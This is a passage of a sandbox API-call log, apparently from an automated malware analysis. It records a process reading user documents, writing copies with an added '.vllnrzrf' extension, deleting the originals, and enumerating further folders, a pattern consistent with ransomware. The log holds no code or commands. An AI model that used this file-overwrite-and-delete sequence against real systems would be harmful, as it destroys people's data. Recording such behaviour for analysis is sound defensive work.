(in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", lpFilePart=0x0) returned 0x41 [0099.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", nBufferLength=0x105, lpBuffer=0x1c92e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", lpFilePart=0x0) returned 0x41 [0099.194] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\eeeaqcnc.docx")) returned 1 [0099.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", lpFilePart=0x0) returned 0x4b [0099.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", lpFilePart=0x0) returned 0x4b [0099.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", lpFilePart=0x0) returned 0x4b [0099.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92e670) returned 1 [0099.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\prwd5h4dvw2kx1knly.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0099.201] GetFileType (hFile=0x41c) returned 0x1 [0099.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e5e0) returned 1 [0099.201] GetFileType (hFile=0x41c) returned 0x1 [0099.201] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1c92e808 | out: lpFileSizeHigh=0x1c92e808*=0x0) returned 0xd1e [0099.201] ReadFile (in: hFile=0x41c, lpBuffer=0x23de2a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92e738, lpOverlapped=0x0 | out: lpBuffer=0x23de2a8*, lpNumberOfBytesRead=0x1c92e738*=0xd1e, lpOverlapped=0x0) returned 1 [0099.202] CloseHandle (hObject=0x41c) returned 1 [0099.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx.vllnrzrf", lpFilePart=0x0) returned 0x54 [0099.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92e670) returned 1 [0099.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\prwd5h4dvw2kx1knly.xlsx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0099.207] GetFileType (hFile=0x41c) returned 0x1 [0099.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e5e0) returned 1 [0099.207] GetFileType (hFile=0x41c) returned 0x1 [0099.207] WriteFile (in: hFile=0x41c, lpBuffer=0x23e8a48*, nNumberOfBytesToWrite=0xf1e, lpNumberOfBytesWritten=0x1c92e648, lpOverlapped=0x0 | out: lpBuffer=0x23e8a48*, lpNumberOfBytesWritten=0x1c92e648*=0xf1e, lpOverlapped=0x0) returned 1 [0099.209] CloseHandle (hObject=0x41c) returned 1 [0099.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", lpFilePart=0x0) returned 0x4b [0099.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", nBufferLength=0x105, lpBuffer=0x1c92e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx", lpFilePart=0x0) returned 0x4b [0099.210] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\pRWD5h4dVW2KX1kNly.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\prwd5h4dvw2kx1knly.xlsx")) returned 1 [0099.214] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", lpFilePart=0x0) returned 0x3f [0099.214] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", lpFilePart=0x0) returned 0x3f [0099.214] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", lpFilePart=0x0) returned 0x3f [0099.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92e670) returned 1 [0099.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\zshzimv.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0099.214] GetFileType (hFile=0x41c) returned 0x1 [0099.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e5e0) returned 1 [0099.214] GetFileType (hFile=0x41c) returned 0x1 [0099.214] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1c92e808 | out: lpFileSizeHigh=0x1c92e808*=0x0) returned 0x1854d [0099.215] ReadFile (in: hFile=0x41c, lpBuffer=0x123117d8, nNumberOfBytesToRead=0x1854d, lpNumberOfBytesRead=0x1c92e738, lpOverlapped=0x0 | out: lpBuffer=0x123117d8*, lpNumberOfBytesRead=0x1c92e738*=0x1854d, lpOverlapped=0x0) returned 1 [0099.218] CloseHandle (hObject=0x41c) returned 1 [0099.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods.vllnrzrf", lpFilePart=0x0) returned 0x48 [0099.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92e670) returned 1 [0099.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\zshzimv.ods.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0099.248] GetFileType (hFile=0x41c) returned 0x1 [0099.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e5e0) returned 1 [0099.248] GetFileType (hFile=0x41c) returned 0x1 [0099.248] WriteFile (in: hFile=0x41c, lpBuffer=0x123a3890*, nNumberOfBytesToWrite=0x1874d, lpNumberOfBytesWritten=0x1c92e798, lpOverlapped=0x0 | out: lpBuffer=0x123a3890*, lpNumberOfBytesWritten=0x1c92e798*=0x1874d, lpOverlapped=0x0) returned 1 [0099.253] CloseHandle (hObject=0x41c) returned 1 [0099.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", lpFilePart=0x0) returned 0x3f [0099.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", nBufferLength=0x105, lpBuffer=0x1c92e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods", lpFilePart=0x0) returned 0x3f [0099.256] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zsHZimv.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\zshzimv.ods")) returned 1 [0099.259] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", lpFilePart=0x0) returned 0x4b [0099.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", lpFilePart=0x0) returned 0x4b [0099.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", lpFilePart=0x0) returned 0x4b [0099.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92e670) returned 1 [0099.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\zus6vj7o_phi8aiip0p.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0099.260] GetFileType (hFile=0x41c) returned 0x1 [0099.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e5e0) returned 1 [0099.260] GetFileType (hFile=0x41c) returned 0x1 [0099.260] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1c92e808 | out: lpFileSizeHigh=0x1c92e808*=0x0) returned 0x8e76 [0099.260] ReadFile (in: hFile=0x41c, lpBuffer=0x2210718, nNumberOfBytesToRead=0x8e76, lpNumberOfBytesRead=0x1c92e738, lpOverlapped=0x0 | out: lpBuffer=0x2210718*, lpNumberOfBytesRead=0x1c92e738*=0x8e76, lpOverlapped=0x0) returned 1 [0099.262] CloseHandle (hObject=0x41c) returned 1 [0099.273] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf.vllnrzrf", lpFilePart=0x0) returned 0x54 [0099.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92e670) returned 1 [0099.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\zus6vj7o_phi8aiip0p.pdf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0099.274] GetFileType (hFile=0x41c) returned 0x1 [0099.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e5e0) returned 1 [0099.274] GetFileType (hFile=0x41c) returned 0x1 [0099.274] WriteFile (in: hFile=0x41c, lpBuffer=0x2255470*, nNumberOfBytesToWrite=0x9076, lpNumberOfBytesWritten=0x1c92e798, lpOverlapped=0x0 | out: lpBuffer=0x2255470*, lpNumberOfBytesWritten=0x1c92e798*=0x9076, lpOverlapped=0x0) returned 1 [0099.276] CloseHandle (hObject=0x41c) returned 1 [0099.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", lpFilePart=0x0) returned 0x4b [0099.278] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", nBufferLength=0x105, lpBuffer=0x1c92e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf", lpFilePart=0x0) returned 0x4b [0099.278] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\zUS6VJ7o_PHI8AIIP0P.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\zus6vj7o_phi8aiip0p.pdf")) returned 1 [0099.280] CoUninitialize () Thread: id = 63 os_tid = 0xbc4 [0099.287] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1cf4dd20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0099.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf4e180) returned 1 [0099.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1cf4dc70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0099.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", nBufferLength=0x105, lpBuffer=0x1cf4dc10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", lpFilePart=0x0) returned 0x31 [0099.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*.*", lpFindFileData=0x1cf4de20 | out: lpFindFileData=0x1cf4de20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0099.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf4e0b0) returned 1 [0099.297] CoUninitialize () Thread: id = 64 os_tid = 0xab4 [0099.350] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1d00e060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0099.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e4c0) returned 1 [0099.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1d00dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0099.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", nBufferLength=0x105, lpBuffer=0x1d00df50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", lpFilePart=0x0) returned 0x34 [0099.351] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*.*", lpFindFileData=0x1d00e160 | out: lpFindFileData=0x1d00e160*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0099.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e3f0) returned 1 [0099.358] CoUninitialize () Thread: id = 65 os_tid = 0xa94 [0099.365] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1cfadc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0099.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfae0a0) returned 1 [0099.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1cfadb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0099.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", nBufferLength=0x105, lpBuffer=0x1cfadb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpFilePart=0x0) returned 0x32 [0099.366] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.*", lpFindFileData=0x1cfadd40 | out: lpFindFileData=0x1cfadd40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0099.367] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadd90 | out: lpFindFileData=0x1cfadd90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.367] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadd90 | out: lpFindFileData=0x1cfadd90*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0099.367] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadd90 | out: lpFindFileData=0x1cfadd90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0099.367] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadd90 | out: lpFindFileData=0x1cfadd90*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0099.367] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadd90 | out: lpFindFileData=0x1cfadd90*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0099.368] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0099.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfadff0) returned 1 [0099.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfadfb0) returned 1 [0099.371] CoUninitialize () Thread: id = 66 os_tid = 0xb74 [0099.382] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1d17df20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0099.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d17e380) returned 1 [0099.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1d17de70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0099.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", nBufferLength=0x105, lpBuffer=0x1d17de10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", lpFilePart=0x0) returned 0x3b [0099.382] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x1d17e020 | out: lpFindFileData=0x1d17e020*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0099.384] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d17e070 | out: lpFindFileData=0x1d17e070*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.385] FindNextFileW (in: hFindFile=0x1a578c60, 